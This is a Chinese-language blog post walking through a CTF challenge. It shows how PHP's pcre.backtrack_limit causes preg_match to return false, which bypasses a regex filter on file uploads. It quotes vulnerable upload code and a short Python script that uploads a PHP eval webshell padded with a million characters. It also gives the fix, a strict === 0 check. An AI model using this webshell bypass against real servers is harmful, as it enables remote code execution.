php的pcre使用的NFA引擎可利用pcre.backtrack_limit(最大回溯次数)返回false绕过

看P神的文章,学习web安全知识的前沿技术栈和各种tricks,这真是一个充满乐趣的过程。

这是code breaking上的第二题:pcrewaf

首先先回顾一下php文件上传的相关代码:

前端form表单:
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
后端php代码:
<?php
...... echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>"; // 判断当前目录下的 upload 目录是否存在该文件 // 如果没有 upload 目录,你需要创建它,upload 目录权限为 777 if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在。 "; } else { // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $_FILES["file"]["name"]; ...... ?>

 

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。

第一个参数是表单的 input name,第二个下标可以是 "name", "type", "size", "tmp_name" 或 "error"。就像这样:

  • $_FILES["file"]["name"] - 被上传文件的名称
  • $_FILES["file"]["type"] - 被上传文件的类型
  • $_FILES["file"]["size"] - 被上传文件的大小,以字节计
  • $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
  • $_FILES["file"]["error"] - 由文件上传导致的错误代码

看一下这道题的源码:

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

分析一下正则:<?(任意字符)[里面的字符任意一个字符](任意字符)
目录分析:创建了目录:data/MD5/randomint.php

解法就是像这个php脚本上传一个php文件,或者说上传一个文件马进行RCE,核心问题就是绕过源码中的is_php()函数。

如何绕过呢?

先放上P神的博客上写的官方解释:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

我的思考:php使用的PCRE库使用NFA作为正则引擎,源码中的正则表达式是:

/<\?.*[(`;?>].*/

 第一处出现的  .* 导致了可以在输入了<?后再跟着输入超长字符串,这个 .* 会直接匹配到超长字符串的结束,然而这个 .* 后面还有内容,所以正则引擎并没有匹配完,接下来他要一个慢慢地、一个字符一个字符地回溯。如果php不设置个最大回溯次数,这里传入超长的辅助穿,就能造成reDOS,所以php设置了pcre.backtrack_limit,并且规定如果回溯次数超过了pcre.backtrack_limit,preg_match()的结果直接返回一个false,而题目中的源码判断条件是

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

 

返回了一个false,肯定不是return 1了,就绕过了。

贴一下p神的python上传文件的脚本:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

 

如何防范攻击者利用最大回溯次数这种方法绕过正则呢?

答案藏在php源码里:https://www.php.net/manual/en/function.preg-match

preg_match()函数的返回值有三种,匹配到了return 1,没匹配到return 0,有错误发生(超过了最大回溯次数)返回false。

修改方式就是判断is_php()函数的返回值是否为0,不能用题目源码中的

if (is_php($data)) {
    echo "bad request";
} 

修改为全等号判断是否为0:

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样就算返回了false,也不会进入if语句中。

 

 

 

 

 

 

posted @ 2023-03-06 23:35  Galio  阅读(151)  评论(0编辑  收藏  举报